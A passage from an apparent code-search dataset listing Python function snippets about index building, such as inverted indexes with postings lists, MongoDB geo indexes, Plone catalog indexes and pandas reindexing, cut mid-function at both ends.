field.prefix:\n fvalue = field.convert(value)\n doc.add_value(field.number, fvalue)\n prefix = smart_text(field.get_tag())\n value = smart_text(value)\n generator.index_text_without_positions(value, field.weight*obj_weight, prefix)\n if prefix: # if prefixed then also index without prefix\n generator.index_text_without_positions(value, field.weight*obj_weight)","def create_index():","def define_index_field(DomainName=None, IndexField=None):\n pass","def rebuild_index():\n print('Building indexes...')\n print(data_fldr)\n ndx = []\n for root, _, files in os.walk(data_fldr):\n for f in files:\n if f[-3:].upper() in ['CSV','TXT']:\n ndx.extend(get_index_terms(root + os.sep + f))\n with open(ndx_file, 'w') as fio:\n for i in ndx:\n fio.write(i + '\\n')","def create_location_index():\n get_rsvps_database().groups.create_index([(\"location\", GEOSPHERE)])","def build_index(self):\n \n \n geoids = self.partitions.find_or_new(table='facilities_geoids')\n addresses = self.partitions.find_or_new(table='facilities_addresses')\n facilities = self.partitions.find(table='facilities')\n \n facilities.attach(addresses,'addresses')\n facilities.attach(geoids,'geoids')\n \n q = \"\"\"\n SELECT year, type, oshpd_id, facility_name, dba_city, dba_zip_code, blockgroup_gvid, tract_gvid, county_gvid\n FROM facilities\n JOIN geoids.facilities_geoids AS geoids ON geoids.facilities_id = facilities.id\n JOIN addresses.facilities_addresses AS addresses ON addresses.facilities_id = facilities.id\n \"\"\"\n \n p = self.partitions.find_or_new(table='facilities_index')\n p.clean()\n lr = self.init_log_rate()\n \n with p.inserter() as ins:\n for row in facilities.query(q):\n ins.insert(row)\n lr(str(p.identity))","def reindex_subcomponent_taxa():\n pass","def create_index(args, client):\n policy = {}\n client.index_geo2dsphere_create(args.nspace, args.set,\n LOCBIN, LOCNDX, policy)\n client.index_integer_create(args.nspace, args.set,\n HSHBIN, HSHNDX, policy)","def build_index():\n pass","def reindexed_dataframe(self):\n tmp = self.metric.copy()\n tmp.index = tmp.index.map(self.match_regions())\n #give the same index order as the geojson\n out = tmp.reindex(index = self.regions_names())\n return out\n #index_name = out.index.name\n\n #return out.reset_index().dropna().set_index(index_name)[self.metric.name]","def generateForcingFields(self, conc_idx, inputs, outputs):\n\n\t\tForcing.log(\"Running %s.generateForcingFields()\"%type(self))\n\n\t\t# Some variable used later\n\t\tscalar = None\n\n\t\tif self.griddedTimeZoneFld == None:\n\t\t\t# Assume all timezones are GMT\n\t\t\tprint \"Warning! No gridded time zone information loaded. Using a field of zeros.\"\n\t\t\ttz = np.zeros((self.ni,self.nj))\n\t\telse:\n\t\t\ttz = self.griddedTimeZoneFld\n\n\t\tif len(self.species) == 0:\n\t\t\traise NoSpeciesException(\"Must specify species\")\n\t\t\treturn\n\n\t\t# We doing time averaging?\n\t\tif self.averaging in ['AVG_MAX', 'AVG_MAX8', 'AVG_MAX24']:\n\t\t\tdo_averaging=True\n\t\t\taveraging_window = self.averaging_window\n\t\telse:\n\t\t\tdo_averaging=False\n\t\t\taveraging_window = None\n\t\t\t#if self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE'\n\t\t\tif self.averaging == 'AVG_NONE':\n\t\t\t\t# Ensure this is set right\n\t\t\t\tself.timeMask = range(0,25)\n\t\t\t# If it's the mask, then the timemask should already be set\n\n\t\t# Create zero fields to allocate our arrays\n\t\tfld_empty=np.zeros((len(self.species), self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\n\n\t\t# Get the relative days, so [-1 0 1] for [yesterday, today, tomorrow]\n\t\trdays = inputs.keys()\n\t\t# Probably an easiesr way to initalize this since we're only writing later, but for now we'll do it.\n\t\tflds={}\n\t\tfor d in rdays:\n\t\t\tflds[d] = fld_empty.copy()\n\n\t\t# This is NOT efficient. Could probably easily make it\n\t\t# more efficient by implementing some sort of cache though..\n\t\tfor idx_s, species in enumerate(self.species):\n\t\t\t#print \"Iteratiing through species %d=%s\"%(idx_s, species)\n\n\t\t\t# Initialize the data flds. Set to zero if there's a day that doesn't exist\n\t\t\tdatas={}\n\t\t\tfor d in rdays:\n\t\t\t\tif inputs[d] is None:\n\t\t\t\t\tdatas[d] = np.zeros((self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\n\t\t\t\telse:\n\t\t\t\t\tdatas[d] = inputs[d].variables[species][:]\n\n\t\t\t# Recall, mask is already considered in these vectors\n\t\t\tfor k in self._layers:\n\t\t\t\t# I think there's a better way to do the next two loops, don't know it though.\n\t\t\t\tfor i in range(0,self.ni):\n\t\t\t\t\tfor j in range(0,self.nj):\n\n\t\t\t\t\t\t# Spatial mask\n\t\t\t\t\t\tif not self.space[j,i]:\n\t\t\t\t\t\t\t# This is masked out. Set to zero and go to the next cell\n\t\t\t\t\t\t\tfor d in rdays:\n\t\t\t\t\t\t\t\tflds[d][idx_s][0:self.nt,k,j,i] = np.zeros((self.nt), dtype=np.float32)\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t#else:\n\t\t\t\t\t\t#\t# TEMP HACK!!\n\t\t\t\t\t\t# # This temp hack is used to ensure the mask is working\n\t\t\t\t\t\t#\tfld_yest[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\n\t\t\t\t\t\t#\tfld_today[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\n\t\t\t\t\t\t#\tfld_tom[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\n\t\t\t\t\t\t#\tcontinue\n\n\n\t\t\t\t\t\t# Take averaging into consideration\n\t\t\t\t\t\t# For almost all of these averagings, we'll have to\n\t\t\t\t\t\t# build a vector of all values for all times at that\n\t\t\t\t\t\t# cell. Unfortunately, the data is organized in the \n\t\t\t\t\t\t# opposite way as we want (time is the top index..)\n\t\t\t\t\t\tif do_averaging:\n\t\t\t\t\t\t\tvecs={}\n\t\t\t\t\t\t\tfor d in rdays:\n\t\t\t\t\t\t\t\tvecs[d] = datas[d][:Forcing.dayLen,k,j,i]\n\n\t\t\t\t\t\t\t# REMOVE!\n\t\t\t\t\t\t\t#if i==self.debug_i and j==self.debug_j:\n\t\t\t\t\t\t\t#\tprint \"vec_today[%d,%d]: \"%(self.debug_j, self.debug_i), vec_today\n\n\t\t\t\t\t\t\t# Prepares a vector of values with respect to the\n\t\t\t\t\t\t\t# direction we're going to calculate the average\n\t\t\t\t\t\t\t# (forward/backward), the window size, and time\n\t\t\t\t\t\t\t# zone \n\n\t\t\t\t\t\t\tvec = Forcing.prepareTimeVectorForAvg(vecs, timezone=tz[j][i], winLen=averaging_window, debug=False)\n\t\t\t\t\t\t\t#print \"i=%d,j=%d, preped vec[%d] = %s\"%(i,j,len(vec),\" \".join(map(str, vec)))\n\n\t\t\t\t\t\t\t# Calculate the moving window average\n\t\t\t\t\t\t\tavgs = Forcing.calcMovingAverage(vec, winLen=averaging_window)\n\t\t\t\t\t\t\t#print \"i=%d,j=%d, avg vec[%d] = %s\"%(i,j,len(avgs),\" \".join(map(str, avgs)))\n\n\t\t\t\t\t\t\t# And then, for the 8-hour max to be used for a\n\t\t\t\t\t\t\t# forcing term, generate a vector for yesterday,\n\t\t\t\t\t\t\t# today and tomorrow with the forcing terms in them\n\n\t\t\t\t\t\t\tif self.timeInvariantScalarMultiplcativeFld is not None:\n\t\t\t\t\t\t\t\tscalar = self.timeInvariantScalarMultiplcativeFld[j][i]/averaging_window\n\n\t\t\t\t\t\t\tvecs = Forcing.applyForceToAvgTime(avgs, days=vecs.keys(), winLen=averaging_window, timezone=tz[j][i], min_threshold=self.threshold, forcingValue=scalar)\n\n# This was done blindly\n\t\t\t\t\t\t\tfor d in rdays:\n\t\t\t\t\t\t\t\tflds[d][idx_s][:24,k,j,i] = vecs[d]\n\n\t\t\t\t\t\telif self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE':\n# NOT YET TESTED\n\t\t\t\t\t\t\traise NotImplementedError( \"Mask timing or no averaging is not yet tested. Averaging options=%s\"%self.averaging )\n\t\t\t\t\t\t\t# The comments assume timezone = -6\n\t\t\t\t\t\t\tfor t_gmt in self.timeMask:\n\t\t\t\t\t\t\t\t# when t_gmt = 0, t_loc = -6, so we're into yesterday\n\t\t\t\t\t\t\t\tt_loc = t_gmt + tz[j][i]\n\n\t\t\t\t\t\t\t\t# Reference the arrays\n\t\t\t\t\t\t\t\tif t_loc < 0:\n\t\t\t\t\t\t\t\t\tdfld = data_yest\n\t\t\t\t\t\t\t\t\t#ffld = fld_yest\n\t\t\t\t\t\t\t\telif t_loc>0 and t_loc<Forcing.dayLen:\n\t\t\t\t\t\t\t\t\tdfld = data_today\n\t\t\t\t\t\t\t\t\t#ffld = fld_today\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tdfld = data_tomorrow\n\t\t\t\t\t\t\t\t\t#ffld = fld_tomorrow\n\n\t\t\t\t\t\t\t\t# I have to write in GMT\n# This is wrong, as local times can write into another day.. maybe.. but since there's no averaging, another iteration will take care of that..\n\t\t\t\t\t\t\t\tffld = fld_today\n\n\t\t\t\t\t\t\t\t# fld[-6] is fld[18]\n\t\t\t\t\t\t\t\tval=dfld[t_loc,k,j,i]\n\t\t\t\t\t\t\t\tif threshold is not None:\n\t\t\t\t\t\t\t\t\tif val > threshold:\n\t\t\t\t\t\t\t\t\t\tforce = 1\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tif val > 0.0:\n\t\t\t\t\t\t\t\t\t\tforce = 1\n\n\t\t\t\t\t\t\t\t# Set the field in the referenced forcing field\n\t\t\t\t\t\t\t\tffld[t_loc,k,j,i] = force\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\traise NotImplementedError( \"Unavailable time averaging method (%s) selected\"%self.averaging )\n\n\t\t\t\t\t\t#endif averaging\n\t\t\t\t\t#endfor j\n\t\t\t\t#endfor i\n\t\t\t#endfor k\n\n\t\t#endfor species\n\n\t\treturn flds","def build_index(in_dir, out_dict, out_postings):\n print('indexing...')\n\n maxInt = sys.maxsize\n\n while True:\n # decrease the maxInt value by factor 10 \n # as long as the OverflowError occurs.\n try:\n csv.field_size_limit(maxInt)\n break\n except OverflowError:\n maxInt = int(maxInt/10)\n\n #Dicitionary for saving the normalized weights for document vector\n lengths = dict()\n\n #Number of docs read from csv\n total_docs = 1\n max_docs = 1000\n\n #Data stored in csv read file line by line and save columns data\n with open(os.path.join(in_dir), 'r', encoding=\"utf8\") as data_csv:\n reader = csv.DictReader(data_csv)\n #each line corresponds to a document\n for doc in reader:\n\n #if(total_docs > max_docs):\n # break\n\n #If line is blank, just skip\n if doc is None:\n continue\n \n #save the different columns of the doc\n doc_id = int(doc[\"document_id\"])\n #Remove punctuation in title and content\n doc_title = re.sub(r\"[,;@#?!&$()%\\[\\]°~^_.+=\\\"><`|}{*':/]+ *\", \" \", doc[\"title\"])\n doc_content = re.sub(r\"[,;@#?!&$()%\\[\\]°~^_.+=\\\"><`|}{*':/]+ *\", \" \", doc[\"content\"])\n doc_date = doc[\"date_posted\"]\n doc_year = doc_date[0:4]\n doc_court = doc[\"court\"]\n\n #The dictionaryies are updated, postings lists are updated or new terms added\n update_terms_zones_dictionary(doc_id, doc_title, \".title\")\n update_terms_zones_dictionary(doc_id, doc_content, \".content\")\n update_date_field_dictionary(doc_id, doc_year)\n update_court_field_dictionary(doc_id, doc_court)\n\n total_docs += 1\n\n data_csv.close()\n\n #This section stores the Log TF using the word counts in the postings in the dictionary\n #It saves the Log TF in an auxiliary dictionary named lengths\n for word in dictionary:\n #Get postings list for the word\n postings_list = dictionary[word]\n\n for docID_termF in postings_list:\n #Get the vector for the doc, where the docId is docID_termF[0]\n #If there is no vector for this doc, then create a new dict\n #I am using dictionaries as the vector for the word only for the calculations\n doc_vector = lengths.get(docID_termF[0], dict())\n #I add the logarithmic term frequency to that document vector\n doc_vector[word] = 1 + math.log(docID_termF[1], 10)\n #Save that to its corresponding doc\n lengths[docID_termF[0]] = doc_vector\n\n #This section normalizes the Log TFs \n for doc_vector in lengths.values():\n #We store each of the values in a list and then use:\n #np.linalg.norm to do the normalization = sqrt(sum(values^2))\n weights = doc_vector.values()\n #We get the vectors magnitude\n magnitude = np.linalg.norm(np.array(list(weights)))\n for word in doc_vector.keys():\n #For every word entry in the vector \n #normalize by dividing the weight by the magnitude\n doc_vector[word] = doc_vector[word] / magnitude\n\n #This section replaces the word count in the tuple of the dictionary with the Normalized Log TF\n #It also sorts the postings list by doc ID\n for word in dictionary:\n #Get postings list for the word\n postings_list = dictionary[word]\n new_postings_list = list()\n for docID_termF in postings_list:\n docID_termF = ( docID_termF[0], lengths[docID_termF[0]][word] )\n new_postings_list.append(docID_termF)\n new_postings_list.sort()\n dictionary[word] = new_postings_list\n\n ''' \n with open('ugly_dictionary.txt', 'w') as fp:\n json.dump(dictionary, fp)\n '''\n #Determine the relevance of each doc by the court that it has in its court field\n #Save the relevant docs and their relevance\n relevant_courts_dict = { \"SG Court of Appeal\":2, \"SG Privy Council\":2, \"UK House of Lords\":2, \"UK Supreme Court\":2,\n \"High Court of Australia\":2, \"CA Supreme Court\":2, \"SG High Court\":1.5, \"Singapore International Commercial Court\":1.5,\n \"HK High Court\": 1.5, \"HK Court of First Instance\": 1.5, \"UK Crown Court\": 1.5, \"UK Court of Appeal\": 1.5, \"UK High Court\": 1.5, \n \"Federal Court of Australia\": 1.5, \"NSW Court of Appeal\": 1.5, \"NSW Court of Criminal Appeal\": 1.5, \"NSW Supreme Court\": 1.5}\n\n relevant_docs = dict()\n \n for court_name in relevant_courts_dict:\n court_postings_list = court_dictionary.get(court_name, -1)\n if(court_postings_list != -1):\n for docid in court_postings_list:\n #save a dictionary of docID and its relevance (2 or 1.5) according to its court\n relevant_docs[docid] = relevant_courts_dict[court_name]\n\n #This section traverse each word (key) in the dictionary, get its postings list and save it in a different file \n postings_list_file = open(out_postings, \"wb\") \n for word in dictionary:\n #Get postings list for the word\n postings_list = dictionary[word]\n #Get the document frequency\n document_frequency = len(postings_list)\n #Know the starting position for the pointer\n postings_list_position = postings_list_file.tell()\n # Writing to file \n pickle.dump(postings_list, postings_list_file)\n #Replace postings list with reference to the position\n dictionary[word] = (document_frequency, postings_list_position)\n for date in date_dictionary:\n #Get postings list for the date\n postings_list = date_dictionary[date]\n #Get the document frequency\n document_frequency = len(postings_list)\n #Know the starting position for the pointer\n postings_list_position = postings_list_file.tell()\n # Writing to file \n pickle.dump(postings_list, postings_list_file)\n #Replace postings list with reference to the position\n date_dictionary[date] = (document_frequency, postings_list_position)\n for court in court_dictionary:\n #Get postings list for the date\n postings_list = court_dictionary[court]\n #Get the document frequency\n document_frequency = len(postings_list)\n #Know the starting position for the pointer\n postings_list_position = postings_list_file.tell()\n # Writing to file \n pickle.dump(postings_list, postings_list_file)\n #Replace postings list with reference to the position\n court_dictionary[court] = (document_frequency, postings_list_position)\n #Close the postings lists file\n postings_list_file.close() \n\n #Now open the dictionary file and save the three dictionaries\n with open(out_dict, 'wb') as dictionary_file:\n pickle.dump(total_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(date_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(court_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(relevant_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n \n '''\n The structure we have is:\n\n dictionary.txt: Has three dictionaries\n {word.zone : [doc_freq, pointer], word.zone: [doc_freq, pointer], ...}\n {date : [doc_freq, pointer], date: [doc_freq, pointer], ...}\n {court : [doc_freq, pointer], court: [doc_freq, pointer], ...}\n\n postings.txt: Has the postings for the three dictionaries\n For the dictionary postings:\n [[docID,termFrequency],[docID,termFrequency]]\n [[docID,termFrequency]] ...\n For the date_dictionary postings:\n [docId, docId, docId, docId]\n For the court_dictionary postings:\n [docId, docId, docId, docId]\n ...\n\n Both documents together would be:\n { word.zone: [doc_freq, [[docID,termFrequency], ... ]], \n word.zone: [doc_freq, [[docID,termFrequency].}, ...]] }\n { date: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\n { court: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\n\n lengths.txt\n [document: [word: weight, word: weight, ...], document: [word: weight, word: weight, ...]]\n Decided to make it like this to keep control of which weights correspond to which words\n Although for a document I will traverse all the weights to get the score\n If the word is not in the document vector [which in my case is a dictionary], then its weight is 0\n This way I am no using a sparse matrix\n\n '''","def write_index(self, file_name):\n self.df_index.to_csv(file_name, sep='\\t')","def idx_createFieldIndex(plominoIndex, fieldname, fieldtype='TEXT', **args):\n \n if not hasattr(plominoIndex, 'createFieldIndex'):\n plominoIndex = plominoIndex.getParentDatabase().getIndex()\n \n if not fieldname in plominoIndex.indexes():\n plominoIndex.createFieldIndex(fieldname, fieldtype, **args)","def compute_index(self, filename, tri):\n self.index = {'name': filename, \"bi\": {}}\n if tri:\n self.index[\"tri\"] = {}\n fichero = open(filename, 'r').read()\n fichero = fichero.replace(\";\",\".\")\n fichero = fichero.replace(\"\\n\\n\",\".\")\n fichero = fichero.replace(\",\",\".\")\n fichero = fichero.replace(\"?\",\".\")\n fichero = fichero.replace(\"!\",\".\")\n fichero = fichero.lower()\n\n for frase in fichero.split('.'):\n frase = self.r2.sub(\" \", frase)\n frase = \"$ \" + frase + \" $\"\n Monkey.index_sentence(self, frase, tri)\n\n #sort_index(self, self.index['bi'])\n if tri:\n sort_index(self, self.index['tri'])\n\n extension = filename.find('.')\n aux = filename[:extension] \n new_filename = aux + 'index'\n\n with open(new_filename, 'w') as fh:\n #print(self.index['bi'].items())\n for nombre, valor in self.index['bi'].items():\n fh.write(\"%s %s\\n\" %(nombre, valor))","def _make_index(self, fname, sents, words):\n for w in words:\n # word index for this file only\n findex = []\n\n for ixS, s in enumerate(sents):\n # iterate over each word in the sentencep\n for ixT, token in enumerate(s):\n # could use regex for substring matching instead\n if w == token.lower():\n findex.append((ixS, ixT))\n # keep track of word use frequency\n self._freq[w] += 1\n\n # grow the main index \n self._index[w][fname]= findex","def postCalculate(self, node, result):\n if node.nodeClass == \"index\":\n if isinstance(result, pd.Index) and result.name is None:\n result.name = node.identifier","def test_geo_index():\n\tlib.backup_and_restore(\n\t\tlambda context: create_indexes(lib.create_geo_index),\n\t\tNone,\n\t\tlambda context: check_indexes(lib.check_geo_index, (0.0, 0.0))\n\t)","def index(self, index_element):\n idx = Indexer.Index(index_element.corpus_path, index_element.posting_path, self.cities_from_api,\n index_element.stop_words)\n idx.create_index(index_element.stem, index_element.id, index_element.block_size)","def _write_index(self):\n # Make sure to only write non-default objects to the index.\n self.store.write_object(\n object=[obj.to_dict() for ns in self.index.values() for obj in ns.values() if not obj.is_default],\n object_id=self.identifier\n )","def reindex(self):","def reindex(self):","def db_index_name(self):\r\n return 'index_{}'.format(self.db_field_name)","def add_catalog_indexes(context, logger):\n if logger is None:\n logger = logging.getLogger('bungenicms.membershipdirectory')\n \n # Run the catalog.xml step as that may have defined new metadata columns. \n # We could instead add <depends name=\"catalog\"/> to the registration of our \n # import step in zcml, but doing it in code makes this method usable as \n # upgrade step as well. Note that this silently does nothing when there is \n # no catalog.xml, so it is quite safe.\n setup = getToolByName(context, 'portal_setup')\n setup.runImportStepFromProfile(PROFILE_ID, 'catalog')\n \n catalog = getToolByName(context, 'portal_catalog')\n indexes = catalog.indexes()\n \n # Specify the indexes you want, with ('index_name', 'index_type')\n wanted = (('county', 'FieldIndex'),\n ('constituency', 'FieldIndex'),\n ('priority_number', 'FieldIndex'), \n ('political_party', 'FieldIndex'),\n ('elected_nominated', 'FieldIndex'),\n ('member_status', 'FieldIndex'),\n ('special_interest', 'FieldIndex'),\n ('other_names', 'FieldIndex'),\n ('member_role', 'FieldIndex'),\n ('member_title', 'FieldIndex'),\n ('body_text', 'FieldIndex'),\n ('member_full_names', 'ZCTextIndex'),\n )\n\n indexables = []\n for (name, meta_type) in wanted:\n if meta_type and name not in indexes:\n if meta_type == 'ZCTextIndex':\n item_extras = Empty()\n item_extras.doc_attr = name\n item_extras.index_type = 'Okapi BM25 Rank'\n item_extras.lexicon_id = 'plone_lexicon'\n catalog.addIndex(name, meta_type, item_extras)\n else:\n catalog.addIndex(name, meta_type)\n \n indexables.append(name)\n logger.info('Added %s for field %s.', meta_type, name)\n if len(indexables) > 0:\n logger.info('Indexing new indexes %s.', ', '.join(indexables))\n catalog.manage_reindexIndex(ids=indexables)","def _generate_index_report(self, index, query_analysis):\r\n\r\n all_fields = []\r\n equiv_fields = []\r\n sort_fields = []\r\n range_fields = []\r\n\r\n for query_field in query_analysis['analyzedFields']:\r\n all_fields.append(query_field['fieldName'])\r\n if query_field['fieldType'] is EQUIV_TYPE:\r\n equiv_fields.append(query_field['fieldName'])\r\n elif query_field['fieldType'] is SORT_TYPE:\r\n sort_fields.append(query_field['fieldName'])\r\n elif query_field['fieldType'] is RANGE_TYPE:\r\n range_fields.append(query_field['fieldName'])\r\n\r\n max_equiv_seq = len(equiv_fields)\r\n max_sort_seq = max_equiv_seq + len(sort_fields)\r\n max_range_seq = max_sort_seq + len(range_fields)\r\n\r\n coverage = 'none'\r\n query_fields_covered = 0\r\n query_field_count = query_analysis['fieldCount']\r\n supported = True\r\n ideal_order = True\r\n for index_field in index['key']:\r\n field_name = index_field[0]\r\n\r\n if index_field[1] == '2d':\r\n supported = False\r\n break\r\n\r\n if field_name not in all_fields:\r\n break\r\n\r\n if query_fields_covered == 0:\r\n coverage = 'partial'\r\n\r\n if query_fields_covered < max_equiv_seq:\r\n if field_name not in equiv_fields:\r\n ideal_order = False\r\n elif query_fields_covered < max_sort_seq:\r\n if field_name not in sort_fields:\r\n ideal_order = False\r\n elif query_fields_covered < max_range_seq:\r\n if field_name not in range_fields:\r\n ideal_order = False\r\n query_fields_covered += 1\r\n if query_fields_covered == query_field_count:\r\n coverage = 'full'\r\n\r\n # INDEX REPORT\r\n return OrderedDict({\r\n 'coverage': coverage,\r\n 'idealOrder': ideal_order,\r\n 'queryFieldsCovered': query_fields_covered,\r\n 'index': index,\r\n 'supported': supported\r\n })","def create_index(self, table_name, index, timeout):\n _abstract()","def create_index(self, table_name, index, timeout):\n _abstract()","def _generate_index_report(self, index, query_analysis):\n\n all_fields = []\n equiv_fields = []\n sort_fields = []\n range_fields = []\n\n for query_field in query_analysis['analyzedFields']:\n all_fields.append(query_field['fieldName'])\n if query_field['fieldType'] is EQUIV_TYPE:\n equiv_fields.append(query_field['fieldName'])\n elif query_field['fieldType'] is SORT_TYPE:\n sort_fields.append(query_field['fieldName'])\n elif query_field['fieldType'] is RANGE_TYPE:\n range_fields.append(query_field['fieldName'])\n\n max_equiv_seq = len(equiv_fields)\n max_sort_seq = max_equiv_seq + len(sort_fields)\n max_range_seq = max_sort_seq + len(range_fields)\n\n coverage = 'none'\n query_fields_covered = 0\n query_field_count = query_analysis['fieldCount']\n supported = True\n ideal_order = True\n for index_field in index['key']:\n field_name = index_field[0]\n\n if index_field[1] == '2d':\n supported = False\n break\n\n if field_name not in all_fields:\n break\n\n if query_fields_covered == 0:\n coverage = 'partial'\n\n if query_fields_covered < max_equiv_seq:\n if field_name not in equiv_fields:\n ideal_order = False\n elif query_fields_covered < max_sort_seq:\n if field_name not in sort_fields:\n ideal_order = False\n elif query_fields_covered < max_range_seq:\n if field_name not in range_fields:\n ideal_order = False\n query_fields_covered += 1\n if query_fields_covered == query_field_count:\n coverage = 'full'\n\n # INDEX REPORT\n return OrderedDict({\n 'coverage': coverage,\n 'idealOrder': ideal_order,\n 'queryFieldsCovered': query_fields_covered,\n 'index': index,\n 'supported': supported\n })","def createIndex(self):\n\n super(COCO_PLUS, self).createIndex()\n catNameToId = dict()\n pointclouds = dict()\n imgToPc = dict()\n\n if 'pointclouds' in self.dataset:\n for pc in self.dataset['pointclouds']:\n imgToPc[pc['img_id']] = pc\n pointclouds[pc['id']] = pc\n\n if 'categories' in self.dataset:\n for cat in self.dataset['categories']:\n catNameToId[cat['name']] = cat['id']\n\n self.catNameToId = catNameToId\n self.pointclouds = pointclouds\n self.imgToPc = imgToPc\n self.logger.info('index created.')","def add_taxonomy(tax_idx, pkl):\n for tax,v in tax_idx.items():\n for genome_id,genome_len in v.items():\n T = '|'.join(list(tax) + ['t__' + genome_id])\n pkl['taxonomy'][T] = ('', int(genome_len))\n return pkl","def create_index():\n try:\n client = MongoClient(MONGO_URI,event_listeners=[CommandLogger()])\n db = client.get_database('UNSD')\n \n coll_unfcc = db.get_collection('unfcc')\n coll_ebal = db.get_collection('ebal')\n result_unfcc = coll_unfcc.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\n result_ebal = coll_ebal.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\n except pymongo.errors.ConnectionFailure as e:\n logger.error('PyMongo error ConnectionFailure seen: ' + str(e))\n traceback.print_exc(file = sys.stdout)","def save_index(self, fn):\n utils.save_obj(self.tweetTerms, \"TweetTerm_%s\" % (self.counterOfTweetTermsFiles))\n self.computeTfIdf(self.counterOfTweets)\n self.deleteSingleEntities()\n inv_dict = {'inverted_idx': self.inverted_idx, 'posting': self.postingFiles}\n utils.save_obj(inv_dict, fn)","def write_index(self):\n self.Lock = True\n self.file_out.seek(self.index_offset)\n for identifier, offset in self.index.items():\n self._write_identifier(identifier)\n self._write_offset(offset)","def make_filtered_field(ds, fieldname, filter_fields = [], tolerance = tol):\n def _filtered_field(field, data):\n x = data[('gas',fieldname)]\n\n select = data[filter_fields[0]] < 0\n for f in filter_fields:\n select = select + (data[f] < tolerance)\n x[select] = np.nan\n\n return x\n\n ds.add_field(('gas',fieldname + '_filtered'), function = _filtered_field, units = \"\")\n return","def create_index(self):\r\n\r\n #### Begin functionality here\r\n\r\n return()","def create_index(self, db_name):\n\t\tindex_func_path = self._get_index_func_filepath(db_name)\n\t\t\n\t\tif os.path.isfile(index_func_path):\n\t\t\t# create index request payload from predefined file\t\n\t\t\twith open(index_func_path, 'r') as content_file:\n\t\t\t\tpayload = content_file.read()\n\t\t\n\t\t\tprint (\"Create index using function in: {}\".format(index_func_path))\n\t\t\turl = \"https://{}/{}/_design/view\".format(\n\t\t\t\tself.cloudanthost, db_name)\n\t\t\tresponse = self.r.put(url, data=payload)\n\t\t\tassert response.status_code == 201","def add(self, name, index = None):\n if index is None:\n while self.indexDict.has_key(self.count):\n self.count += 1\n index = self.count\n self.fieldDict[name] = index\n self.indexDict[index] = name","def index(self, index):\n index.column_protein[self.column].add((self.protein,self.protein_res))\n index.protein_domain[(self.protein.id,self.protein_res)] = (self.domain,self.domain_res)\n index.domain_structure[(self.domain.id,self.domain_res)].add((self.structure,self.structure_res))\n index.structure[(self.structure.index, self.structure_res)] = self","def test_total_totals_index():\n pressure = np.array([1008., 1000., 947., 925., 921., 896., 891., 889., 866.,\n 858., 850., 835., 820., 803., 733., 730., 700., 645.,\n 579., 500., 494., 466., 455., 441., 433., 410., 409.,\n 402., 400., 390., 388., 384., 381., 349., 330., 320.,\n 306., 300., 278., 273., 250., 243., 208., 200., 196.,\n 190., 179., 159., 151., 150., 139.]) * units.hPa\n temperature = np.array([27.4, 26.4, 22.9, 21.4, 21.2, 20.7, 20.6, 21.2, 19.4,\n 19.1, 18.8, 17.8, 17.4, 16.3, 11.4, 11.2, 10.2, 6.1,\n 0.6, -4.9, -5.5, -8.5, -9.9, -11.7, -12.3, -13.7, -13.8,\n -14.9, -14.9, -16.1, -16.1, -16.9, -17.3, -21.7, -24.5, -26.1,\n -28.3, -29.5, -33.1, -34.2, -39.3, -41., -50.2, -52.5, -53.5,\n -55.2, -58.6, -65.2, -68.1, -68.5, -72.5]) * units.degC\n dewpoint = np.array([24.9, 24.6, 22., 20.9, 20.7, 14.8, 13.6, 12.2, 16.8,\n 16.6, 16.5, 15.9, 13.6, 13.2, 11.3, 11.2, 8.6, 4.5,\n -0.8, -8.1, -9.5, -12.7, -12.7, -12.8, -13.1, -24.7, -24.4,\n -21.9, -24.9, -36.1, -31.1, -26.9, -27.4, -33., -36.5, -47.1,\n -31.4, -33.5, -40.1, -40.8, -44.1, -45.6, -54., -56.1, -56.9,\n -58.6, -61.9, -68.4, -71.2, -71.6, -77.2]) * units.degC\n\n tt = total_totals_index(pressure, temperature, dewpoint)\n assert_almost_equal(tt, 45.10 * units.delta_degC, 2)","def test_creating_index_type(self):","def calculate(index):\n postingl1 = [len(x[0]) for x in index[0].values()]\n print(\"Number of terms in index i1 : \" + str(len(postingl1)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl1)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl1)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl1) / float(len(postingl1))) + \"\\t\")\n print(\"Size of the file that stores the index i1 : \" + \\\n str(os.stat('invertedindex1.txt').st_size) + \" bytes\\n\")\n\n postingl2 = [len(x[0]) for x in index[1].values()]\n print(\"Number of terms in index i2 : \" + str(len(postingl2)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl2)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl2)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl2) / float(len(postingl2))) + \"\\t\")\n print(\"Size of the file that stores the index i2 : \" + \\\n str(os.stat('invertedindex2.txt').st_size) + \" bytes\\n\")\n\n postingl3 = [len(x[0]) for x in index[2].values()]\n print(\"Number of terms in index i3 : \" + str(len(postingl3)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl3)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl3)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl3) / 